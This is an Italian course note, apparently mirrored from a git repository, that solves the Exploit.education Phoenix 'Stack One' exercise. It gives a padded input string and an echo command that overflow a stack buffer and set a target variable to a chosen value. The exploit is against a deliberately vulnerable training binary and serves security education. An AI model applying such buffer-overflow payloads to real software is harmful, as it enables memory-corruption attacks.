1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-24 11:14:18 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/01 - stack-one.md
2023-09-21 02:46:23 +02:00

11 lines
No EOL
413 B
Markdown

# [Stack One](https://exploit.education/phoenix/stack-one/)
Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI` come input.
`bYlI` manda `buffer` in overflow, impostando il valore di `changeme` ad `"bYlI"`, ovvero `0x496c5962` (***in architetture little-endian***).
## Soluzione
```bash
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabYlI' | ./stack-one
```